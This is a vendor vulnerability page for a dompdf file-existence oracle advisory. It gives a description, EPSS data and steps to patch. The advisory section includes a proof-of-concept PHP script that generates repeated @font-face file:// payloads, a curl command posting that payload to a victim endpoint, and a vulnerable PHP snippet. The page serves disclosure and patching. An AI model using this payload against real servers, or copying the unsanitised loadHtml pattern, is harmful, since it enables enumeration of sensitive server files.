Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘 Packagist
Not in CISA KEV

GHSA-7x2p-4jvh-6384

Fix: dompdf/dompdf@75c39a0

GHSA-7x2p-4jvh-6384 is a CWE-203 vulnerability in dompdf/dompdf. O3 Security confirms whether GHSA-7x2p-4jvh-6384 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Dompdf: File existence oracle via font-face stylesheet declaration

Also known asCVE-2026-55555
Published
Jul 22, 2026
Updated
Jul 22, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Aug 20, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-7x2p-4jvh-6384.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk+0.00%
Lower risk than most CVEs41th percentile — riskier than 41% of all scored CVEsHighest risk
0.00%0.34%0.67%1.01%0.5%0.5%Aug 26Aug 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

1 pkg affected
🐘dompdf/dompdf

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Description

Dompdf is vulnerable to a File Existence Oracle attack through the manipulation of the CSS @font-face directive. By providing malicious HTML that references local files via the file:// protocol repeatedly, an attacker can trigger PHP memory exhaustion.

The critical point of this flaw is the discrepancy in system behavior:

  1. If the file exists: Dompdf attempts to process the local resource multiple times, leading to an "Allowed memory size exhausted" error, which crashes the creation.
  2. If the file does NOT exist: The rendering engine fails quickly or ignores the import, and the memory limit is not reached.

This discrepancy allows an attacker to enumerate sensitive files on the server, regardless of CHROOT restrictions.

Some factors impact the ability of attackers to exploit the vulnerability:

  • The attacker must be allowed to provide unrestricted and/or unsanitized HTML content.
  • System parameters must be configured in such a way that Dompdf is able to generate a memory overflow error.
    • HTTP GET querystring or POST body must allow large data
    • Memory limits must be low enough that Dompdf can trigger an overflow
    • $_dompdf_show_warnings when set to true can bump memory usage

Example Scenario

1. Vulnerable System

A web application provides a public mechanism for generating a PDF based on user supplied content. The application accepts raw HTML input or renders user-supplied content without sanitation or validation and processes it using Dompdf.

index.php simplified:

$dompdf = new Dompdf(new Options());
$dompdf->loadHtml($_POST['html_input']);
$dompdf->render();
$dompdf->stream("document.pdf");
<img width="2530" height="1320" alt="image" src="https://github.com/user-attachments/assets/a3fe336c-097a-408a-b8b4-cdbaf5f8d7c4" />

2. Attack Generation

The attacker runs a script locally on their own machine to generate a heavy payload. This payload is then sent to the victim's public endpoint via a standard HTTP POST request.

  • Attacker's Local Script (payload_gen.php):
<?php

/**
 * Usage: php exploit.php <file_path> <iterations>
 * Example: php exploit.php /etc/passwd 5000
 */

// Check if the file argument was provided
if ($argc < 2) {
    echo "[-] Usage: php exploit.php <file_to_read> [iterations]\n";
    exit(1);
}

$file = $argv[1];
$iterations = isset($argv[2]) ? (int)$argv[2] : 5000;

function generate_payload($file, $iterations) {
    $css = "";
    $body = "";
    
    // We use @font-face to trick the engine into attempting a local file read
    for ($i = 0; $i < $iterations; $i++) {
        $css .= "@font-face { font-family: \"f{$i}\"; src: url(\"file://{$file}\"); }\n";
        $body .= "<span style=\"font-family:f{$i}\">.</span>";
    }
    
    return "<html><head><style>{$css}</style></head><body>{$body}</body></html>";
}

// Output the payload to stdout for piping
echo generate_payload($file, $iterations);

?>

3. Exploitation

The attacker pipes the malicious HTML into a curl request targeting the remote server:

php payload_gen.php /etc/passwd 5530 | curl -X POST https://victim-app.com/index.php \

    --data-urlencode "html_input@-" \

    --output response.pdf

By analyzing the response.pdf file generated (by the size or error), the remote attacker can confirm the existence of files without having direct access to the server. When a file reference is valid and the execution parameters are met, Dompdf overflows the PHP limit and hangs/crashes.

Existent file:

<img width="2544" height="702" alt="image" src="https://github.com/user-attachments/assets/a565e9b9-5bf7-486c-acac-c2adfc4af536" />

Non-existent file:

<img width="1872" height="706" alt="image" src="https://github.com/user-attachments/assets/6e71dbdd-294a-4b2c-a183-4bbbfddcdee2" />

Note that the specific iteration count that will trigger the overflow varies by system. This is based on the memory limit imposed by the target system as well as the PHP internals related to memory management (heap allocation and garbage clean up). Under most scenarios there is no apparent difference in memory usage between existent and non-existent files. But with a specific number of file operations the memory limit can be breached only when the file exists.


Impact

Information Disclosure (File Oracle via Reflected HTML): In scenarios where a user can control reflected HTML, an attacker can confirm the existence of sensitive local files (e.g., .env files, SSH keys, or system configurations). By observing whether the application returns a memory exhaustion error (file exists) or renders normally (file does not exist), the attacker can systematically map the server's file system.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistdompdf/dompdfall versions3.1.6

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for dompdf/dompdf. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update dompdf/dompdf to 3.1.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-7x2p-4jvh-6384 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-7x2p-4jvh-6384 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-7x2p-4jvh-6384. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Description Dompdf is vulnerable to a **File Existence Oracle** attack through the manipulation of the CSS `@font-face` directive. By providing malicious HTML that references local files via the `file://` protocol repeatedly, an attacker can trigger PHP memory exhaustion. The critical point of this flaw is the discrepancy in system behavior: 1. **If the file exists:** Dompdf attempts to process the local resource multiple times, leading to an "Allowed memory size exhausted" error, which crashes the creation. 2. **If the file does NOT exist:** The rendering engine fails quickly or ignores
O3 Security · Impact-Aware SCA

Is GHSA-7x2p-4jvh-6384 in your dependencies?

O3 detects GHSA-7x2p-4jvh-6384 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-7x2p-4jvh-6384: dompdf/dompdf… | O3 Security